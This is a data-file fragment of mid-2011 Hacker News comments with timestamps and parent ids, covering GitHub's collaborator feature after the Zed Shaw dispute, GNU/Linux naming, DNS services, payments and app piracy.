was also quite amazing.\", \"I'm not a lawyer, but my guess would be no since it's merely a link to a third party. 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Any legal source for your claims that this will work?\", \"No, that's the long and short of it.<p>Of course, you can't share multiple apps behind one domain, so if the one dyno isn't keeping you you'll need to scale up and pay for it.<p>OTOH, if you don't need to worry about any extra latency (maybe?) you could probably get away with a rails+node app like <a href=\\\"https://github.com/maccman/holla\\\" rel=\\\"nofollow\\\">https://github.com/maccman/holla</a> running free by having one app just run the web interface, and point the backend at another app running node.<p>As soon as you go outside of one tech stack it's cheaper to just get a small VPS to start with, but heroku definitely has its perks.\", NaN, NaN, \"Curious which ones and how?<p>I wonder if this is the tenacity of founders that pg speaks of.\", \"> will make Zed Shaw and others think that his attempt to out-troll the trolls and multiply internet drama was a force for positive change.<p>To be fair, in this case, that does appear to be exactly what happened.  Github had a problem.  Someone exposed it and then Zed used his considerable influence to \\\"force\\\" github to fix it.\", \"Have you considered adding bitcoin as a payment option? Seriously, it's nearly free and easy to manage, even with the rapid price changes.  Plus you get extra attention by adding your store to the growing directory of merchants who accept bitcoin.\", \"I've learnt this at university so take it with a grain of salt.<p>What kind of customers are your competitor targeting? Differentiate and target the other kind.\", \"Ralph Nader was also pretty good at it.\", NaN, \"You're a pretty cool guy, Grant.\", \"This is spam pure and simple the seller can't decide their product is so in line with what you need that they can spam you. Who is then the judge of what is spam. Contacting user that haven't specified they don't want to be contacted by commercial interest is OK, but not someone who said no.\", \"Wow, this video does it justice:<p><a href=\\\"http://www.youtube.com/watch?v=ZG_rOWDPCeI\\\" rel=\\\"nofollow\\\">http://www.youtube.com/watch?v=ZG_rOWDPCeI</a><p>I love the zoom on the clock here...I bet this could translate to touch devices really easily. First to implement this in Protovis (<a href=\\\"http://vis.stanford.edu/protovis/\\\" rel=\\\"nofollow\\\">http://vis.stanford.edu/protovis/</a>) wins!\", \"Unfortunately it's likely the spammers are simply going with whichever bank is easiest to work through.<p>Any changes will just cause them to move to the next easiest option.\", \"I tend to agree with this line of thinking. I was added to half a dozen projects today alone. It would have been a pain to have to confirm each one.<p>Your average professional developer isn't trolled on a regular basis, nor would they go about adding \\\"tech stars\\\" to their repos just to have a big name on there or because they wished that person was a contributor - it's unprofessional and rude. So just dismissing yourself from the projects you are maliciously or mistakenly added to seems much simpler than having to confirm each one.\", \"When you've activated the Hidden app, and the computer is taking pictures, does the little green light turn on when the camera is on?\", \"I bought it from the iTunes store directly, after seeing the post and reading the comments (specifically, $5 isn't much to support a fellow indie-dev trying to make his way through the app store, for an app that I'll probably use every dayish).  Next time I was out, had my phone, and was bored, I looked for the $5 app, because it had to be yours.  It's really well put together, and I really like the features you added.  My only complaint is that it goes to comments first, not stories first, but that's easy to get used to.\", NaN, \"Not taught in UK education (private, I assume not in state schools either) as of at least a decade ago, I only know them because my mother is an author.\", \"Ub Iwerks was a true genius! In addition to doing the work on that camera he designed the original Mickey Mouse and later did some brilliant works with traveling matts. The work done in the early days of Disney really reminds me a great deal of Pixar in terms of combining creative with tech. It's hard to appreciate today but Disney did the first color animated shorts, the first real feature and the first company to really make a cartoon revolve around sound (instead of the other way around). At the very end Disney was fascinated by audio-anamatrobics which remind me a great deal of the early days of computer animation.\", \"I think anamax's point was that there's no incentive system for police to act in anything but their own interest. Their interest is not to solve crimes, its simply to not get fired.\", \"Just because you can identify the mechanism by which this most-basic feature of social networks was implemented, that doesn't mean that it's a bad thing.<p>The cart should not be put before the horse by implying that this missing feature was simply used as an excuse to be negative. What's the perverse incentive here, that it's actually in GitHub's interest to prevent users from blocking each other?<p>\\\"The squeaky wheel gets the grease\\\" and public shame were invented way before the Internet, so this makes no precedent. It's just one of the myriad ways in which things get done. Ever had a boss?\", \"This merger is bad news for those of us from the Phoenix metro area.  I'd say Verizon and T-mobile are the only two carriers with good coverage and T-Mo is the only carrier that provides a decent service and competes on price.<p>At least when I switch to Verizon I'll get a new phone!\", \"This is GitHub's response to the (killed) article I posted yesterday:<p><a href=\\\"http://news.ycombinator.com/item?id=2601342\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/item?id=2601342</a>\", \"You could try to somehow monetize your data that describes who is paying for what services. Even if it's just blog posts with general graphs (like OkCupid) it could at least help your brand.  For instance, ADP's employment statistics are as closely watched as government statistics by some people on wall st.<p>I wouldn't necessarily encourage you to directly sell detailed info about your users to marketers as it may very well annoy your customers, although there is probably a market for it.<p>At the very least, bringing in a consultant to do some data mining to find patterns that correlate to actual revenue may help you with all your other concerns.<p>Once you feel confident you know who is really spending money and why, an inside sales person to cultivate a list of potential customers is probably fairly cheap and may lead to a real uptick in sales. You seem uniquely situated to hire someone like that through your own service.<p>While writing this comment, I keep being reminded of Groupon. The last time they raised an obscene amount of money, the investors kept talking about (1) their sales army that had a relationship with thousands and thousands of small businesses and (2) sales data for all those businesses. You could read up on them to see if you get any ideas.\", \"<a href=\\\"https://twitter.com/jmk/status/75766707834200064\\\" rel=\\\"nofollow\\\">https://twitter.com/jmk/status/75766707834200064</a><p>Arrested\", NaN, \"Very nice, thank you Google.<p>Glancing over the API docs, I'm not clear what will be used for signaling. It appears to be based on XMPP/Jingle, am I right?<p>What about SIP?\", \"You can create an object that implements the ArrayAccess interface, but it doesn't extend the native array object in the traditional sense.\", \"Hi:\\\\nIm a marketing and technical writer with experience writing user manuals, online help, Web site copy, press releases, proposals FAQs, and other written material.\\\\nMy Offer HN is to help you out with your marketing and/or technical writing (within limits). Ill write from scratch or take your existing work and make it better. Im happy to provide you with up to five hours of my work (not including admin time), and if its a juicy project that I fall in love with, even more.\\\\nWhy me: Ive worked as a marketing writer since 1995 and a technical writer since 1999. Im all about clear, simple, and straightforward writing that engages the reader -- and marketing writing that sells. My writing is in your voice, meeting your needs, and speaking to your audience.\\\\nWhy Im doing it: 1) To update my portfolio with more recent work, 2) to get to know more folks in the startup scene, and 3) To find contract or perm. work down the line (heck, Im honest). I miss being part of the IT crowd.\\\\nAny limits? \\\\nWhats the catch? I work for an investment firm that requires me to disclose any other companies Im working for. I would have to let them know Im working for you. The second catch is that I want to use the work for my portfolio, so I have to be able to point to your company or site and say that I worked on the copy/writing for it. Lastly, if you like it, write me a nice paragraph of thanks that I can use on my site.\\\\nWhat next? Take a look at my web site at http://www.jonathanacohen.com, or drop me a line at jonathanacohen@gmail.com.\", NaN, \"Sure, just like if you take out the 3 guys in charge of Al Queda, you would end terrorism.\", \"Bing was ripping off Google's search results, but now Google is trying to become a \\\"decision\\\" engine..\", \"Yes, that's better than a lynch mob with no rule of law.\", \"Those videos ar real creepy, it freaked me out.\", \"That's actually the full app. news:yc is open source, and I want anyone to be able to use it, even if they don't want to (or can't) pay. Since building the app yourself isn't always easy (or possible), I submitted it there so anyone could install it easily.\", NaN, NaN, \"He just tweeted that they caught the guy.\", \"It's a logical feature for a site with a social aspect to offer, and I'm surprised github hadn't done so previously. I suppose the audience for the site tends to be mature.<p>Good for Github for going ahead and doing it. I know of some companies who would have dug their heels in and ignored the issue, or stubbornly maintained that it wasn't needed.\", \"Best deals on motorcycle parts and accessories, motorcycle case covers, motorcycle rearsets, motorcycle bodywork, motorcycle exhausts. Save on motorcycle parts and motorcycle apparel - 2WheelPros.com\", \"blackhatworld.com > everything you need to know.\", \"Curious to know PG's opinion on this.\", \"My understanding was the reverse. Twitter integration at the OS level, allowing you to Tweet from any app (and not needing to go through any Auth at an individual app level). Remember that Gruber places incredible significance in Twitter. How else to explain his 6.2 iPhone/Android Twitter Client posts each week?\", \"Try emailing pg - that's the main way most things not supported by the web interface are dealt with (deleting accounts, password recovery, and so forth). I'm not sure if he's able to change account names, but it's possible, and it wouldn't hurt to try.<p>If you ask and pg does change your username, would you mind replying to say so? It's useful information to have, and would allow greater accuracy in answers if the same question is asked again.\", \"They do, they sell ready made contracts. They just charge you for writing them ;)\", \"Just checking because it sounded a little fishy to me, that's all.\", NaN, \"Hey Grant, I saw your news:yc app in Installous and see that it was submitted by you (chpwn). Usually when app-authors submit their own apps to Installous, it's to deter pirates by shaming them and disabling the whole functionality of the app until it gets cracked by someone else, or to log who actually pirates.<p>I haven't gone the Installous route, so I'm wondering what you've decided to do with the version on filedude and fileape?\", NaN, \"I don't, actually. I left 6 months ago. :)\", \"Multiple of my email addresses posted online unmasked multiple times, so I certainly get spam. My point is that filters are quite effective.\", NaN, \"Why do we call it aspirin instead of acetylsalicylic acid? It's familiar, easy to spell, and easy to remember. It's an accident of history. What would be accomplished by renaming it?\", NaN, \"The kernel is pretty closely coupled to the GNU userland. <i>stali</i>[1] is trying to accomplish the same thing. I think they are using utilities/ibraries from OpenBSD. Not sure if they have a working system, though.<p>1: <a href=\\\"http://sta.li\\\" rel=\\\"nofollow\\\">http://sta.li</a>\", NaN, \"<a href=\\\"https://www.paypalobjects.com/IntegrationCenter/ic_micropayments.html\\\" rel=\\\"nofollow\\\">https://www.paypalobjects.com/IntegrationCenter/ic_micropaym...</a><p>PayPal Micropayments would be 10c/transaction.\", \"<p><pre><code>  ta men bu le zhi dao\\\\n</code></pre>\\\\nAlthough, you'd have to visually select characters after typing pinyin, so it would be useless if someone looked over your shoulder.\", \"\\\"The\\\" is very much a sticking point for native speakers of languages that don't have a similar construct; i.e. a Spanish speaker wouldn't likely have trouble with it, but a Japanese or Korean speaker more likely would.<p>The issue is 'a' vs 'the' vs nothing:<p><pre><code>    he went to the school\\\\n    he went to a school\\\\n    he went to school\\\\n</code></pre>\\\\nAll have very different meanings - \\\"the\\\" is effectively an adjective describing the specificity of the noun. The first describes a specific school, the second describes some not-yet-defined school, the third describes an abstract concept.<p>'Chocolate' is another example of this, where the issue extends to the use of words like 'some', 'how many', and 'how much' (countable vs. uncountable quantities). Even if a person understands these concepts, it's still difficult to propagate it through a sentence so that everything type-checks (subject-verb agreement, etc), especially if you're coming from a language that doesn't have this kind of redundancy. It gets even harder with hypotheticals, where sometimes one might switch between both singular/plural and non-specific/specific mid sentence, all while English lacks gender-neutral singular third-person pronouns.<p>On top of this there are cases where the use of one over the other really just comes down to philosophy (whether native speakers of a language consider something distinct, concrete, or countable, or not). Similar issues come up with prepositions - which preposition goes with which verb differs even when describing the same concept in two very similar languages. (Best example I can think of at the moment is that in Japanese, people say \\\"I bought it to her\\\" instead of \\\"I bought it for her\\\"; I know English<->Spanish has similar issues, but my Spanish is rusty)\", \"R&JTech is one such distributor for Clevo barebones;<p><a href=\\\"http://rjtech.com/shop/index.php\\\" rel=\\\"nofollow\\\">http://rjtech.com/shop/index.php</a>\", NaN, \"You should look at selling your own adspace using tools like OIOPublisher or OpenX OnRamp.<p>I'm not sure the amount of traffic that you have, but OpenX has served me greatly on a similar project.<p>It's important to note the market your app attracts. If it's highly sought after and lucrative, you may be able to find a small advertising network focused on your niche. Something to think about.\", \"LLVM built a working linux kernel 218 days ago. <a href=\\\"http://news.ycombinator.com/item?id=1832712\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/item?id=1832712</a><p>Why not just run FreeBSD?\", NaN, NaN, NaN, \"The way the nerve is wrapped around other structures is totally consistent with what the fossil record says about how life evolved.<p>The gross inefficiency was retained because it is more difficult or unlikely that one structure can be moved past another.  It could be that if someone were born with a nerve that long and it doesn't loop around a structure, it might not work properly or get pinched very easily or flop around.<p>There are plenty of possible explanations for what we find in nature.  And just because we haven't figured things out doesn't mean supernatural forces are responsible.\", \"Have you considered buying a motorcycle?  Track days are cheap as chips on a 125 or 250.\", \"\\\"The most heavily armed states in the USA actually have lower gun crime and violent crime.\\\"<p>That's not true in the slightest.  Prevalence of guns directly equates to a greater incidence of gun crime, on both an international (say, U.S. vs. other nations) and intranational basis.\", \"I think zed had a reasonable complaint. was he a jerk about it? maybe, but it's a customer's prerogative to complain about a bad experience. github's prompt response to zed has made me a happier (paying) customer. way to go!\", \"AirBnB has a history of clever and aggressive PR, and this title is probably deliberate in that regard.<p>The first three google results for \\\"billion dollar company\\\" all refer to companies with billions in revenue.<p>According to Google and every economics class I ever took, people assume it refers to revenue. In common vernacular, \\\"billion dollar company\\\" means a company that actually generated a billion dollars in revenue, not speculative investment.<p>I mean come on... why is it fair to refer to AirBnB as a billion dollar company when there are actually companies generating a billion in revenue?\", NaN, \"The problem with disconnecting is that so many programming problems are best solved by a liberal application of Google.  Similarly, I've never found man pages to be as efficient or helpful as a well-constructed Google query.  I suppose one solution would be to install OpenWRT on your router and keep a whitelist of sites (or a blacklist if you can easily classify 95% of your time-wasters) for your work computer and allow free reign to your home computer.\", \"By that line of thinking, why call it \\\"Linux\\\" (or anything else) either?  I agree that \\\"GNU/Linux\\\" sounds kind of dumb, if that's what you're driving at -- but I'd be happy to call the operating system \\\"GNU\\\".\", \"Based on the quick shadows, manually-placed arrows, and PNG metadata I would say Inkscape.\", \"It's interesting to me that so many people want confirmations.  You can remove yourself from any repository you wish at <a href=\\\"https://github.com/account/repositories\\\" rel=\\\"nofollow\\\">https://github.com/account/repositories</a>  (yes, I know  this is a confusing place. It's something I'd like to improve).  But the idea is that \\\"Confirm? Reject.\\\" is the same number of steps/interactions as \\\"Added. Reject.\\\" Confirmations wouldn't make the experience any better for someone being annoyingly added to projects. They'd just be rejecting invitations instead of rejecting access.<p>As it stands, when you are added as a collaborator to a project it shows up in exactly one place  your private, logged in dashboard. It doesn't show up publicly anywhere.<p>Bypassing confirmations keeps the workflow simple for the professionals who use GitHub and want to collaborate with ease.\", \"It was. But he is technically a \\\"customer\\\". More eyeballs == more potential conversions. Zed happens to give that, fortunately or unfortunately. But they were able to please a potential customer, and just give a better product overall. So maybe its because of something bad, but it's great product iteration.\", \"It is interesting to note that it is impossible for a theory spouted by nutjobs to be true in this flowchart. A non-nutjob must endorse a theory before it enters the realm of possibly true. Danny must have an incredibly low opinion of conspiracy theorists and a high opinion of Google's practices. ;)\", \"Yeah, I think that's what ilkhd2 was attempting.  But the attempt at parody doesn't make any sense, because the sentiment he is trying parody is actually perfectly sensible and reasonable.  He just rewrites sentiment in bad English to make it look stupid - that's a pretty low form of criticism.  The statement \\\"universities produce liberals/progressives\\\" is completely true in my observation.  It happened to me, and it happened to almost everyone I know.  And if you're conservative, its completely sensible to view this as a bad thing.   There is nothing about this belief to parody.\", \"So, I am impressed that you can't note the difference between Buenos Aires and other Latin American cities, since tourists spot the differences pretty quickly.\", \"I enjoy my Buffalo WZR-HP-G300NH .  I had a WRT54G as well, but then I got an internet connection faster than it could handle (it became the bottleneck).  Comes stock with (a modified version of) DD-WRT (and flashing your own is supported).<p><a href=\\\"http://www.dd-wrt.com/wiki/index.php/Buffalo_WZR-HP-G300NH\\\" rel=\\\"nofollow\\\">http://www.dd-wrt.com/wiki/index.php/Buffalo_WZR-HP-G300NH</a>\", \"They said they didn't want to be contacted. It isn't up to others to decide that they are a special case. Any marketer would find the wiggle room to make their email a special case.\", \"Actually, it implies the opposite.<p>If someone who is not a nutjob is spouting the theory it will get debunked, regardless of placement on Hacker News. If Hacker News were in the nutjob category, it would be irrelevant in the flowchart. The chart would simply point from \\\"repeated by a nutjob\\\"->\\\"Am I bored?\\\"<p>Hacker News only takes effect if a nutjob's theory winds up on Hacker News, which based on the chart, is more akin to \\\"Are they a nutjob?\\\"->\\\"No\\\" (but not quite the same). So, while something does not need to be on Hacker News to be debunked, placement on Hacker News will result in a theory being debunked. Thus, the article implies that Hacker News is a community made up of people who are expressly not nutjobs.\", \"Sometimes you have to look at <i>what</i> somebody says, and not <i>how</i> they say it. I personally wouldn't have approached the trolls the way Zed did, but he was right that this was broken and needed to be fixed. Github did a great job - as far as I can tell they handled things professionally and cranked out a fix in just a few days. Everybody wins (except the trolls).\", \"Hey now, nothing wrong with being Canadian :p\", \"How do I type that?\", \"I'm a beginner at programming, and am wondering which text editor to use. Emacs or TextMate?\", NaN, \"The spam filters today are good not because of magic, but because billions of dollars have been spent securing email.<p>What a complete and utter waste of resources.\", \"You could chalk it up to stress testing that pointed out a flaw. And to GitHub's credit they provided a quick fix and a professional response, kudos to them. Peace has been restored in the Valley, and the trolls are left to twiddle their ASCII dongs.\", \"Looks like a fire trap.  Be careful.\", \"PCC would probably be easier, and it is still open source. Although a BSD-userland Linux would be interesting, I think the GCC compiler has become so widespread that it is almost impossible not to use it (except for Windows, of course). Even the BSDs, which are thoroughly against copyleft licenses, use GCC.\", \"I looked at the article and it seems to strengthen the argument for calling it a GNU/Linux distribution. The top contributors as per the chart.<p>1. kernel 9%\\\\n2. gnu 8%\\\\n3. kde 8%\\\\n4,5 java, mozilla 6%\\\\n6. gnome 3%<p>If you combine gnu with gnome, we have\\\\n1. gnu 13%\\\\n2. kernel 9%<p>Also considering that java/mozilla are platform agnostic, the candidate names we have are<p>linux-gnu-kde OR gnu-linux(-kde)<p>If you are not running KDE, then gnu-linux seems like a very strong candidate for the name. The argument for calling it linux would revolve around the availability of GNU software on other non-linux distributions in some form or the other, thus making GNU a not very distinctive moniker. But MacOS/BSD doesn't really carry as much GNU as Linux distros do.<p>But the kernel is running all the time when booted up. A better argument would be that only a fraction of GNU software is active at any moment, so by percentage of GNU v/s kernel code executed in any given time interval, the kernel should win handily. This pie chart, as it stands, actually makes a case for calling it GNU\\\\Linux.\", \"I think this was a good response to an attention whore.<p>EDIT: I wasn't trolling.  Not even a single response?\", \"I'm sure that their attorneys have let them know that acknowledging that they sent out spam would expose them to massive damages under the CAN-SPAM laws.  So AirBnB can't really acknowledge what they did and try and move on... financially, it would be ruinous for them.  They are probably hoping that the controversy will blow over, until the statute of limitations expires at which point they can apologize and blame the previous regime.\", \"<i>Sad that they still haven't added a requirement that you accept an invite to become a collaborator</i><p>That's one way to look at it..the other way is that they just designed coded, tested and rolled out a feature a day or two after a fairly hostile and accusatory customer complaint.\", \"I'm not convinced that the appearance of that terminology in the file means the developer is unaware of the difference between encoding and encrypting something. I think we all know the meanings of some words, but continue to misuse them out of convenience and/or habit. It can be difficult to break such a habit. Perhaps you should simply include a patch that will reword the file in the correct manner. :)\", \"oops, yep.  sorry about that.\", \"This is a long standing problem. Babble fish had an Api and it was also shut  down.\", \"Dig the idea, but agree the design is lacking. I'm still going to subscribe - good luck!\", \"Of course, this 0.00% assumed growth rate omits the obvious, which is that a company as successful as Apple has a lot of competition brewing in each of its markets, and a negative growth rate is certainly possible.<p>Technology is an industry where you run to stay still. Apple's cash flows are far less predictable than, say, Procter and Gamble's. What's Apple has done in the last ten years could continue for another ten, or reverse entirely.\", \"I'm really surprised at the number of sales. Congrats!\", \"Previous submission:<p><a href=\\\"http://news.ycombinator.com/item?id=2605739\\\" rel=\\\"nofollow\\\">http://news.ycombinator.com/item?id=2605739</a>\", \"Just curious: Does the business itself generate more cash flows than you are spending on it?  more than you are spending overall for personal and business matters? [ie can you actually quit your consulting]\", \"This is a very good feature, but I am also afraid it will make Zed Shaw and others think that his attempt to out-troll the trolls and multiply internet drama was a force for positive change. \\\"If you throw a big enough temper tantrum and incite a large enough shitstorm, developers will address your concerns\\\" is an unfortunate precedent. The fact that controversy and negativity attracts eyeballs and can trigger improvements is understandable, but it also creates perverse incentives.\", \"It doesn't really measure how time it would take to replace. Compared to KDE or Firefox code, GNU code is much more succinct and optimally written.<p>I really doubt that that code could be replaced easily in a single pass.\", \"If you don't think so, please post your email here for us.\", NaN, \"One way to decimate adversaries is to open-source your entire competitive advantage. Unfortunately that only works when youre the market leader.<p>So nobody cares about open-sourcing WebRTC. Something that would be actually noticeable in this field right now would be Microsoft that open-sources Skype and gives everything away under the BSD license.\", \"If people really wanted to stalk someone, they can do it outside of HN although I've seen a thread on this in the past so I know what you're referring to but it's usually very unlikely. That said, I'm using my real name LOL\", \"Your strategy involving submitting cracked versions of your app was quite interesting.  It would be interesting to see the rate of the app store purchases vs. piracy for your app.  I would expect your strategy would reduce the rate of piracy\", \"Is this due to the recent drama with Zed Shaw being invited to the \\\"DongML\\\" project? Very entertaining as an observer, but very annoying for Zed I'm sure.<p>Sad that they still haven't added a requirement that you accept an invite to become a collaborator, or at least a profile setting on your account that requires that confirmation.\", \"I doubt any of the developers being sued by Lodsys knew they were infringing on these patents.<p>And there is no sure way to know which small thing is under patent than to spend hours going through the patent archives or hiring expensive patent lawyers.\", \"<i>Ctrl-F</i><p>Good point, but the UI's still inconsistent. If you open Options there is a <i>Search options</i> box. The passwords screen is modal, so that search box isn't accessible and you have two methods of search - a search field for Options and Ctrl-F for password. The other issue is that Ctrl-F doesn't consistently scroll to the highlighted item. When doing a Ctrl-F I often have to use the scroll bar to find the highlighted phrase.\", \"<i>> Most people just want someone to give them a job and let them do it.</i><p><i>> I don't think the purpose of college is to provide people with education and a love of learning. Most people don't want that.</i><p>Your stance on this issue strikes me as one-dimensional and solipsistic. Maybe you're a very smart person who was unfairly persecuted for being different, or maybe you were persecuted for being different and placed the blame on a feature.<p>From my perspective, humans are learning machines, as evidenced by the totality of human output.<p><i>> People who love learning have wikipedia.</i><p>Wikipedia does not talk to you, debate your ideas, or force you to think in uncomfortable ways (`Discussion` does not count). I might be nitpicking your point, but autodidacts are well served by interfacing with people who can challenge their ideas and also help them articulate their opinions <i>in person</i>.<p>Edit: I'm getting downvoted, and I hope it's not because this comment comes across as rude. If it is, please message me directly; I tried hard on the tone.\", \"I compute the standard deviation of n(1) as sqrt(N p (1-p)) where p = 1/10.  It's N iid realizations of a biased coin toss.<p>You left out the 1-p part, I think.<p>I totally agree with your sentiment that just eyeballing the plot is not the best route here.  It's all too easy to convince yourself that the deviation isn't that bad, if you're just looking at the plot without error bars.\", \"In a civilized society, you don't have to \\\"deal\\\" with ongoing intimidation. You take care of it. If bullies are tolerated, they grow bolder. Its the story of the decay of neighborhoods etc.<p>Again, the point was missed. Its not about a single incident. Its about zero tolerance for disrespect, intimidation, shakedown, public bullying.  So somebody other than you can park without knuckling under to some jerk.\", \"Ninja and hacker are two very different words, hacker actually has some rich history and meaning to it. But it's true that it hardly means anything without a whole lot of context now that it seems to just mean 'programmer who doesn't wear a suit to work'\", \"A lynch mob is appropriate if the police refuse to act.<p>If elected officials do not enforce the law, the burden falls onto private citizens to do so. This is the common law with thousands of years of precedent.\", \"\\\"Most of us\\\" live in places where crime is not a problem. Does anyone live in a place where crime is a problem as you describe it?<p>It seems that the Westerner attitude is that \\\"somewhere else\\\" things are really bad. New Orleans has close to the highest murder rate <i>in the world</i>.\", NaN, \"Hmm, that doesn't fit with my recollection.<p>But when I Googled for \\\"billion dollar company\\\" then \\\"million dollar company\\\" the first usage I found that wasn't in some way tied to startups was <a href=\\\"http://www.goodnewsnetwork.org/most-popular//red-mill-goes-to-employees.html\\\" rel=\\\"nofollow\\\">http://www.goodnewsnetwork.org/most-popular//red-mill-goes-t...</a> where it clearly refers to revenue.<p>Ah well.  Around here there is no question which usage is more common.<p>PS You may be amused that the top hit for \\\"x billion dollar company\\\" is <a href=\\\"http://hackerne.ws/item?id=2033232\\\" rel=\\\"nofollow\\\">http://hackerne.ws/item?id=2033232</a> which involves you.\"], \"col10\": [1306900793, 1306900790, 1306900720, 1306900716, 1306900610, 1306900557, 1306900502, 1306900442, 1306900440, 1306900439, 1306900431, 1306900375, 1306900338, 1306900271, 1306900245, 1306900191, 1306900174, 1306900139, 1306900129, 1306900100, 1306900075, 1306900073, 1306900019, 1306900009, 1306899937, 1306899928, 1306899784, 1306899782, 1306899777, 1306899746, 1306899627, 1306899611, 1306899599, 1306899551, 1306899541, 1306899537, 1306899522, 1306899517, 1306899495, 1306899397, 1306899373, 1306899370, 1306899365, 1306899365, 1306899359, 1306899346, 1306899282, 1306899282, 1306899282, 1306899235, 1306899213, 1306899148, 1306899124, 1306899124, 1306899060, 1306898995, 1306898910, 1306898880, 1306898857, 1306898809, 1306898784, 1306898732, 1306898726, 1306898722, 1306898662, 1306898590, 1306898569, 1306898566, 1306898556, 1306898533, 1306898453, 1306898411, 1306898404, 1306898398, 1306898377, 1306898333, 1306898327, 1306898312, 1306898286, 1306898278, 1306898273, 1306898264, 1306898245, 1306898230, 1306898155, 1306898125, 1306898090, 1306898065, 1306898048, 1306898045, 1306898036, 1306898019, 1306897980, 1306897917, 1306897897, 1306897881, 1306897872, 1306897808, 1306897808, 1306897772, 1306897768, 1306897767, 1306897766, 1306897718, 1306897716, 1306897682, 1306897681, 1306897646, 1306897630, 1306897576, 1306897564, 1306897553, 1306897518, 1306897476, 1306897426, 1306897419, 1306897419, 1306897408, 1306897335, 1306897316, 1306897312, 1306897277, 1306897254, 1306897253, 1306897233, 1306897201]}, \"column_text\": [2605151.0, 2605877.0, NaN, 2605558.0, 2604043.0, NaN, NaN, 2603966.0, 2605773.0, 2605738.0, 2605274.0, 2605860.0, NaN, 2605846.0, 2605626.0, 2605709.0, 2605580.0, 2605804.0, 2604013.0, 2605745.0, NaN, 2603067.0, 2605831.0, 2604367.0, 2605773.0, 2605468.0, 2605739.0, 2605696.0, 2604013.0, NaN, 2605390.0, 2605659.0, NaN, NaN, 2605580.0, NaN, 2604315.0, 2601509.0, 2605832.0, NaN, NaN, 2604013.0, 2605739.0, NaN, 2605069.0, 2603844.0, 2605191.0, 2604894.0, 2602640.0, 2604148.0, NaN, 2605745.0, NaN, 2605283.0, 2605771.0, NaN, 2605806.0, NaN, 2605611.0, NaN, 2605738.0, 2605793.0, 2603778.0, 2599477.0, NaN, 2602839.0, 2605787.0, NaN, NaN, NaN, 2603013.0, 2603204.0, 2604276.0, 2605739.0, 2605422.0, NaN, 2603003.0, 2605750.0, 2605410.0, 2605766.0, 2605766.0, 2603971.0, 2605749.0, 2605385.0, 2598465.0, 2605626.0, 2605046.0, 2605773.0, 2604854.0, 2605487.0, 2591102.0, NaN, 2604962.0, 2605773.0, 2605256.0, 2605611.0, 2605584.0, 2605739.0, 2605190.0, 2605766.0, 2604986.0, 2605775.0, 2605629.0, 2605660.0, 2605324.0, 2605745.0, 2605757.0, 2605696.0, 2605739.0, 2605670.0, 2604962.0, NaN, 2605390.0, 2605028.0, 2605745.0, 2605739.0, 2605546.0, 2603909.0, 2605710.0, 2605612.0, 2605025.0, 2604469.0, 2605034.0, 2604590.0, NaN, 2605732.0]}"
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And the best part is, the .js can not be re-requested as it's it's taken cautions to prevent re-play attack.\", \"if on windows how do I measure what you just measured?\", \"From the blog post:\\\\n\\\"Third, Google claims that this service is better because it has no ads or redirection. But you have to remember they are also the largest advertising and redirection company on the Internet. To think that Google\\u2019s DNS service is for the benefit of the Internet would be naive. They know there is value in controlling more of your Internet experience and I would expect them to explore that fully. And of course, we always have protected user privacy and have never sold our DNS data. Here\\u2019s a link to our privacy policy.\\\"<p>davidu,<p>You have excellent points but you could have made them without bashing your competitor.<p>This response makes me think that you are afraid of your competition and using fear to convince people to use OpenDNS.\", \"Agreed.  Lots of things I couldn't quite connect to what they were saying?  Particularly be a source of data section.  But, this was a good topic.\", NaN, \"<p><pre><code>  On internal yardsticks: \\\"Would you prefer to be the \\\\n  greatest lover in the world and known as the worst,\\\\n  or would you prefer to be the worst lover and \\\\n  known as the greatest?\\\"\\\\n</code></pre>\\\\nWhich one is supposed to be better?<p>Some people are much better at interviewing for a job than doing the job.  Others are great at the job but fail at interviews.<p>I started to notice a few years ago that I fall pretty extremely into one of those categories, but I made peace by being glad I wasn't at the other extreme.\", \"The point was that, for most users, Google is an abstraction over URLs, just like DNS is an abstraction over IP addresses.\", \"I need some advice for setting up payment processing.. I know it's been discussed extensively around here but it seems like our use case might be slightly different than other typical web apps, either requiring an extra step or different solution than the average e-commerce transaction..<p>The basic concept: An e-commerce site with multiple vendors showcasing their products, company will take a % of each transaction (listing fee) before sending each vendor the remaining funds. (somewhat similar payment structure to http://www.kickstarter.com/)<p>I am looking for the best solution to allow users to checkout on the site using a credit card - I do not like what I've seen with either Amazon Web Pay or Paypal Adaptive Payments so far.. it looks like both of these require users to be redirected to their site for secure checkout.  Reading the development forums for Paypal, seems that there isn't any planned support for Website Payments Pro and Adaptive Payments together (unless I'm completely missing something).<p>Steps to Successful Transaction:\\\\n1. Customer visits site and makes a purchase using their credit card (without leaving our site)\\\\n2. For using our site the vendor is charged a % transaction fee\\\\n3. Remaining funds after fee deductions are sent to vendor<p><i></i> Need to think about the best way for these transactions to happen, and also look at all of the fees involved with moving the money each time.  Should funds move to vendors each time a transaction is complete? At the end of each day? Once every 30 days?  Without an elegant solution it seems like this could get messy rather quickly.<p>Many thanks for your help!\", \"If the problem doesn't exist, why do so many people find them useful?\", \"Poor George Boole. 150 years later and all he got was a lousy t-shirt and a data type named after him.<p>Be nice if the article defined 'made a fortune.'\", NaN, \"> <i>Google knows what is hosted at the servers you are looking up.</i><p>And so does every other DNS provider so long as the pages are public and if your ISP is your DNS provider then they can directly sniff your (non-encrypted) traffic too.\", NaN, \"My TRS-80 had 4K, so the Basic language used one-letter abbreviations for all the commands. I tried learning Z80 on it, but it was a bit too tough for me; 6502 was a breeze in comparison. fwiw, stick with it if you enjoy it!\", \"while I agree the design could still use work, jumping on the drop shadows is silly. Designs down have to follow physics, function of design elements can be more abstract.<p>Just because it doesn't follow some global light source doesn't mean it's not functional. It serves a purpose by helping better highlight the colors. Would you be okay if we separate the edges with a solid black line?  What if he added a gradient to that line?\", \"> <i>Plus, now I don't ever need to look up a DNS server again, Google's is 8.8.8.8. Sweet.</i><p>My DNS servers have been 4.2.2.[1-4] for a long time. They aren't that hard to remember.\", \"Both PC World and ComputerWorld (especially ComputerWorld) are the tabloids of the industry. They just have a <i>lot</i> of money to spend on shoddy journalism.\", \"I don't think it matters. There's no value-add in LTU's blog post on this other than the equivalent of \\\"hay guys, this is cool\\\". Granted, that has a lot of weight coming from that blog, but it's still just a link to a link.\", \"Darn. <a href=\\\"http://to/life\\\" rel=\\\"nofollow\\\">http://to/life</a> was taken. Oh well. L'chai-im!\", \"Do you have any idea how confused I was the first time that happened? An absolutely terrible user experience.\", \"Yeah, and they mostly have no serious understanding of the technology. At least the typical 